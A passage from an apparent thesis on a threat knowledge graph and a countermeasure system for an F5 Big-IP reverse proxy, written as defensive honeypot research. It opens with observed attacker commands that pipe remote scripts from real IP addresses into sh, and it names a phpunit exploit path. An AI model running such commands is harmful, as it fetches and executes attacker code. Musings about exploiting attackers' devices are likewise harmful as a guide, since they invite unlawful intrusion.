curl —user-agent e59d60f2 http://194.145.227.21/1dr.sh|sh
curl 194.38.20.199/t.sh|sh

wget -q -O - 194.38.20.199/t.sh|sh

Table 4.8: List of Attacks

graph. At this point in our proof of concept the project wanted to strengthen the
validity of applying counterintelligence measures. One suggested graph imple-
mentation is to return the countermeasure response data when client HTTP re-
quests are logged to the knowledge graph. This could be a simple query based
matching of countermeasure based on client data. The system would then mon-
itor the success of the countermeasure and log this into the knowledge graph. An-
other implementation could be to create a template of client requests and plausible
countermeasures in the knowledge graph for more direct application of person-
alised PageRank. For countermeasures with a one to one relation with specific
threats the knowledge query will retrieve the appropriate countermeasure based
on specific properties. In example will trigger method, trigger url and for HTTP
POST also trigger _payload be matched. In general the matching could be exact
or a sub-match. In a future design we need to consider an implementation bal-
ancing between a high number countermeasures with exact matches, or fewer
countermeasures with a more dynamic and general approach. Considerations of
the adversaries strategy in respect of stealth approaches and multiple verification
methods before revealing their exploitation infrastructure is also an factor for fu-
ture a implementation. These factors is mentioned as a limitation of the current
project and a factor to consider for further research.

An example of a possible implementation of a countermeasure node is given
below. Note that the response content is given as an example but would natur-
ally be calculated in real-time when the attack typically use different arguments.
The properties needed in the Countermeasure node is naturally dependent on the
chosen implementation. For instance, if an implementation solution relying on
template based countermeasure relationships the trigger based properties is not
as valid as for a database query based implementation.

The idea is to take the client request data and use this to trigger an coun-
termeasure suggestion in real-time. There might be a different time-perspective
on different countermeasures. For instance, should this vulnerability information
leak be given to every attacker, or maybe just a select group of attackers. In more
advanced countermeasures it might be useful to keep track of what attacker have
what knowledge. This could be performed by a working device tracking system
or releasing vulnerability information only to one attacker per target IP address
at a time.

My proof of concept code shows that a system based on F5 Big-IP reverse
proxy could implement a solution for logging malicious activity to a threat know-
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{
"labels": [ "Countermeasure" 1,
"properties": {
"response_content": "85af727fd022d3al3e7972fd6a418582",
"response_status": 200,
"trigger_url":
- "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
"trigger_method": "POST",
"trigger_payload": "md5",
"monitor_ttl_value": 30,
"monitor_ttl_unit": "days"
}
}

ledge graph schema presented earlier in this paper. Also countermeasures applied
directly to the F5 iRule shows that attackers will follow up on their vulnerability
reconnaissance and attempt to execute malicious attacks in order to take control
of the target. The download and analysis of the scripts applied by hackers in the
attack stage gave more insight into their tactics and infrastructure. The automa-
tion of performing downloading and analysis, as well as adding intelligence into
the knowledge graph is for future research.

The project is limited in respect to actual implementing countermeasures. In
order to evaluate the potential of the system further a proper implementation of
applying and monitoring countermeasures success is needed. Our results shows
that an advanced reverse proxy as F5 Big-IP has the potential of serving as a
platform for further development and research into our suggested decision system.
Largely due to the programmatic interface to monitoring and manipulating real-
time connections as well as the flexible back-end system allowing for integration
with a Neo4j database.






Chapter 5

Discussion and Conclusion

5.1 Firewall Threat Data

In the light of this project the analysis of real-life threat data was beneficial in our
development of the knowledge graph schema. In the perspective of a counter-
measure decision system the correlation between a implemented decision system
and existing security infrastructure might contribute to deciding that a connection
is behaving malicious. The concept is that decisions should be based on threat in-
telligence as well as threat actor intelligence. Within the scope of this project and
an important factor for further development the validation of malicious behaviour
is critical especially for targeted attacks. The reason is that the line between be-
nign and malicious behavior is thin in some production systems. One example
is SQL injection based attacks which could look like a benign query, but adding
a single apostrophe could have a malicious intent. In this case the decision sys-
tem would benefit from correlating activity against existing security infrastructure
threat alerts and possible monitor the responses given by the production service.
These considerations are important within the scope of this project as limitations,
and a possible design factor for future research and development.

We conclude that our goals of using real-life threat data in the development of
a generic cyber threat knowledge graph schema is successful for web based clients
and the HTTP protocol.

5.2 Threat Knowledge Graph

The knowledge graph schema developed in this project seems to apply very well in
our graph algorithm calculations as well as our proof of concept implementation.
A further development of a proof of concept decision system will hopefully lead to
a larger real-life data-set of threats and attempted countermeasures which can be
analysed and researched further. The knowledge graph schema will then be open
for quantitative research on optimization.

Beside the current nodes and relationships in the knowledge graph schema

61
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the project predict that will be necessary to implement some extensions in order
to support the monitoring of successful and unsuccessful countermeasures. In or-
der to keep the knowledge graph as clean as possible, and only contain relevant
threat data a use of temporary nodes might also be necessary. The pruning of tem-
porary nodes could be implemented by setting time-to-live values and timestamps
as a node property. It is easier to start logging when there is a high chance of a
connection to be malicious, for instance when not fully qualified domain name
(FQDN) as applied, or the target IP is not related to a consciously exposed pro-
duction system. The challenge might occur when reconnaissance are performed
by traversing a legitimate web service looking for possible weaknesses in a pass-
ive manner. Hackers will sometimes do manually analysis of a service (which can
seem legitimate) and later attempt malicious reconnaissance. The decision system
therefore need to consider that seemingly legitimate connections can transition
into malicious activity.

We conclude that our knowledge graph schema was successful in containing
relevant threat information obtained from firewall threat data. The knowledge
graph approach gives an added intelligence and simplicity of visualizing the threat
information.

5.3 Synthetic Dataset

From our research we have results that show that our designed knowledge graph
schema is valid for personalised PageRank calculations, as well as plausible for
an initial method of ranking countermeasures in further development of a de-
cision system. The attributes of this graph algorithm have the potential to specify
multiple input criteria and give us the appropriate countermeasures as output.

There are limitations to this data-set compared to a future real-life data-set. A
future implementation may reveal challenges in regard of monitoring and docu-
menting successful countermeasures in the knowledge graph.

5.3.1 Reputation

The reputation part of the synthetic data-set is mainly added for completeness in
regard of the personalised PageRank calculations and knowledge graph schema
validation. Unlike the ranking of plausible countermeasures the reputation de-
cision bases itself on the singular factor of the reputation knowledge based on
open source intelligence as well as previous known malicious activity towards the
target company.

As deducted from the creation of the synthetic data-set there are limitations
to what reputation based experiments that could be performed. We have chosen
to focus on the countermeasure part in our experiments. In addition, it would
be possible to differentiate between successfully targeting production services or
missing the mark by only addressing the IP address instead of the appropriate
fully qualified domain name (FQDN). In addition there might be considerations
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around adding fake services or honeypot services in order to increase malicious
reputation if attacks are targeted wide.

5.3.2 Security Posture

OSINT IP reputation shows an indication of bad reputation or known history of
malicious activity, and the data is openly available through multiple sources. The
quality of OSINT is outside the scope of this project. The takeaway from this pro-
ject is more related to decision on security posture. A tighter security posture
would force adversaries to allow themselves to be more exposed in order to at-
tack the service. One example of this is to come from a country that are located
in a favorable jurisdiction location, or to access services with a web browser with
JavaScript enabled. The latter would expose the client-side features that maybe
result in compromising information related to the attacker.

Beside the proactive determination of what security measures should be en-
forced before allowing a client to connect to company services, one should also
consider a dynamic approach to security posture. It is natural to think that legit-
imate users might get inquisitive and explore outside the legal scope of provided
services. This notion would incline the defender to a more dynamic security pos-
ture on existing connections as well.

5.3.3 Countermeasure Escalation

Not all attacks comes from a previously known source of malicious activity. There-
fore it is important to build a record of historical reputation data of previous mali-
cious activity. The knowledge of previous attacks can also build forensic evidence
that can qualify for an countermeasure escalation decision. It is recommended
that some sort of device tracking is applied in order to avoid performing coun-
termeasures on users and attackers sharing the same source IP address. Even in
the case of an efficient device tracking system there might be multiple use cases
where multiple people access the same computer. In this case the forensic evid-
ence needs to be more user dependent if one is to apply for instance exploitation
based countermeasures. The legal aspects of doing countermeasures of this kind
is not within the scope of this project. In the a theoretical extreme case a counter-
measure could be actual exploitation of the client application in order to achieve
control of the perpetrators device. In this hypothetical example the gathering of
forensic evidence to support such and decision would be crucial, and probably also
a legal mandate to do so. An input within the scope of this project however will
only raise the need of a granular escalation that can provide the decision model
some input to adjust the level of intrusiveness.

5.3.4 Countermeasure Ranking

From the experiments we have shown some examples of criteria based ranking of
countermeasures. Even though the experiments are simple it validates the know-
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ledge graph schema and opens up for more advanced criteria based calculations.
In our experiments, we focused on the HTTP request which contains the raw data
thrown at our imagined services. From this data we deduct both the threat target
and possible execution code in the exploit. In the HTTP header we also gather
the personal flavor of the communication, and even the order of the HTTP header
fields can tell something about the client side. It makes sense to also research
graph community detection algorithms in order to make more advanced attacker
profiling which again be applied to a decision model.

One could argue that one should always use the single highest ranking coun-
termeasure at all times and therefore the ranking of many countermeasures would
not be beneficial. In a operational environment of low frequency of attacks the
learning process would naturally take longer, but we assume an operational en-
vironment of such attack frequency that every single countermeasure does not
need to be the singular best. We also believe that it is safe to assume that there
will be unknown attack patterns and tactics, techniques and procedures applied by
hackers. These patterns will reveal themselves through online learning and meas-
uring the efficiency of measured successful countermeasures. The future goal is
to gather knowledge of a broad spectrum of attacks and attacker profiles.

In regard of scalability an implementation of the case study will generate a
real-life data-set that would open up for scalability quantification’s. The know-
ledge graph are primarily a place to store malicious activity towards the company
provided services. Our case study shows a proof of concept implementation of
system that logs malicious activity in a graph database for further research, which
again could respond to malicious activity and explore plausible countermeasure
methods and store success in the graph database. One possible approach would be
to implement this as part of a reverse proxy since all connection data are available
at this security infrastructure.

Taking into account the type of countermeasures or counterintelligence meas-
ures that could be applied by this model there are some considerations to make. In
our experiments we checked for a single element in the URL patch for a principal
experiment. In real life attacks the URL path may contain the same base but for the
HTTP method GET there might be multiple arguments which will vary depend-
ing on normal service usage, or vulnerability reconnaissance or exploitation. The
decision system should therefore distinguish between the service resources and
client side inputs. In the case of known attacks there might be an easy mapping
between the HTTP request and the plausible countermeasures, but the counter-
measures could be more generic.

In order to understand a general approach we could mention SQL injection
attacks which is more indirect attack due to lacking control and white-listing of in-
put values. Creating countermeasures for each of the possible entry points which
handle input values badly would be unfeasible. The decision model needs a more
generic approach which can monitor the input values and recognise malicious
intent. A similar example is a flaw in the scripting framework that would allow
execution of commands. During our first phase of research we saw multiple at-
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tacks involving use of the command for calculating a MD5 checksum in order
to determine a possible vulnerability. The attackers often use a proprietary value
as an argument to the MD5 function in order to validate the response. From a
graph perspective it should also be considered if the countermeasure node is more
generic and the HTTP response would naturally contain the specific response. In
this case the ranking of countermeasures might also need to contain a ranking
of specific responses. This should be considered in the graph model and possible
implications this would have.

Keeping the Lockheed kill-chain [12] in mind there could be multiple steps
to an exploitation and executing an end-goal achievement. In a criminal ecosys-
tem there might not be the same threat actors that complete the different stages
either. In a holistic perspective what can the defender achieve by letting an at-
tacker falsely think that a system is vulnerable. One might moving the focus away
from production services since most people are lazy, which includes hackers, they
will often go for the low hanging fruit first. This could create a diversion that buys
the defender (or an autonomous decision model) more time to study the incom-
ing attacks closer. It would be recommendable to only falsely leak vulnerability on
targets which are not production services. Note that the threats alerts we studied
also had a category of info leak or code execution that could support the decision
model.

There are many types of attackers, and therefore many different motivations
and methodology. Many attackers will prey on the companies or home users not
updating and patching their systems. This has led to an increased automation
from the attackers, and botnets are a good example of this. Developers of bot-
net will regularly update their botnet software with new exploits that can further
expand the network of controllable agents. For malicious agents delivering a dis-
tributed denial of service attack the numbers matters, as would a network of bit-
coin miners. It would be natural to think that privileged access or back-doors to
sensitive services would imply that stability was preferred instead.

The big question is how does all these factors impact an autonomous defense
system, can the attackers motivation be quantified in order to impact the ranking
of plausible countermeasures. There could be examples of countermeasures that
would help gathering information on the attackers TTPs. For instance what would
happen if an attacker discovered an unique password only leaked to one specific
attacker, could the abuse of this information be tracked through the cyber criminal
ecosystem. What would happen if an attacker met connection restrictions that
only allow privileged access for a specific geolocation, could the attacker be lured
into compromised situation. It is well known that hackers will use VPN or other
tools as a method of bypassing geolocation restrictions. To what extend could an
autonomous defense system play the human into a compromising situation.
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5.4 Case Study

The F5 Big-IP reverse proxy gives us the platform for implementing our graph-
based decision framework. With the solution for logging all relevant malicious
activity to our knowledge graph schema, further development work can be done
on applying and monitoring of countermeasures. From our attempts on applying
countermeasures it would be natural to consider the intentions or goals for this in
front. For instance, is the general knowledge of what is the next stage in the attack
the ultimate goal, or do we also want to differentiate between attacker groups
and entities. In the case of the latter we need to implement a selective and limited
deployment of countermeasures in order to track the abuse of this knowledge over
time. In the first case we can generally apply the countermeasure whenever the
proper triggers defined in the Countermeasure node is found. The latter requires
carefully monitoring of the abuse of the knowledge of a vulnerable system. As we
have seen from the results there have been both direct and indirect correlations
between the reconnaissance stage and the attack stage. It might be challenging
to monitor the success of indirect reconnaissance and attack correlations, but this
will be more clear after a bigger real-life data-set has been gathered.

We conclude that our proof of concept was successful in respect to showing
that an advanced reverse proxy platform as F5 Big-IP can be used for a decision
system that we suggest in this project. This answers the requirement of real-time
access to monitor and manipulate live connections between a client and a ser-
vice. The knowledge graph schema we developed in this project as also success-
fully implemented in our proof of concept. There are still many limitations within
this project compared to the great scale of autonomous cyber defense. The res-
ults of a successful countermeasure also needs to be quantified and validated in
regard as a valuable contribution to a long-term goal of cyber defense and coun-
terintelligence. This would rely heavily on the implementation of countermeas-
ures and the measurement of efficiency. In our case study our design goal was to
complement existing security defense infrastructure, and the given reverse proxy
platform therefore supported the coexistence between production and honeypot
services. For dedicated research purposes a dedicated decision system based on
a purely bred honeypot solution could benefit from a different design. An imple-
mentation based on containers in the form of a dedicated honeypot framework is
one solution. In it’s current state the proof of concept implementation will sup-
port security posture decisions based on OSINT IP reputation scores as well as
malicious activity targeted non-production (honeypot or false) services.

5.5 Summary and Further Research

Our research show that our knowledge graph schema has potential both in respect
of storing relevant threat data and applying graph algorithm, in our case personal-
ised PageRank. This research is intended to motivate further research into the field
of graph data science and cyber defense. Even if our project indicate a potential,
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the real challenges will reveal themselves in a implemented version of a decision
framework that gather real-life data on threats and countermeasures. The case
study show that access to real-time client connections is possible in an advanced
reverse proxy, which is the foundation of a real-time countermeasure solution.
The project’s proof of concept show that further research and development of the
system is valid, if only for research purposes into more advanced real-time cyber
defense options.

There are many research directions and paths towards an autonomous cyber
defense solution. We believe that if possible one should seek to make a decision
framework that could be applied to both enterprise scale and to home network
routers. The ultimate goal would be to protect the Internet services while also
gather intelligence and forensic evidence on malicious cyber criminals either for
prosecution or global service denial based on forensic sound tracking and evid-
ence.

We suggest that future research start with collecting malicious activity in a
knowledge graph in an automated sense, possible build on the case study in this
project. Imposing security posture decisions would also be possible at this choke
point. Triggering the logging into a graph database could be based on reconnais-
sance imposed on IP addresses which do not contain any production services,
or lacking compliance to fully qualified domain names (FQDN). Targeted attacks
would naturally be more challenging since they might use the correct references
to service resources, but abuses them in case of zero day exploits unknown ways.
In this case we encourage an autonomous defense platform to be supported by
existing security infrastructure that can apply threat indicators that can trigger
the decision model to take action.

In some cases it might be challenging to rely on the analysis of incoming
requests, but the decision model could also be supported by the security alerts
triggered by other security infrastructure in the organisation, and therefore also
make this a criteria in the decision model.

Future research might be able to create relationships between HTTP requests
and plausible countermeasures, which could be deployed autonomously and the
success be automatically monitored and documented. Our suggestion is to make
a temporary relationship that indicate the triggered state containing a time to live
value that will clear unsuccessful countermeasures. The successful countermeas-
ures would be stored in the knowledge graph for later ranking of the most plaus-
ible countermeasures in each specific case determined by various criteria. In the
event of a large knowledge graph of successful countermeasures on given input
further research into graph embedding could be performed. In the case of Neo4;j
there are various embedding methods, but the GraphSage [43] might be one of
the promising since the model can be modified without recalculating everything.
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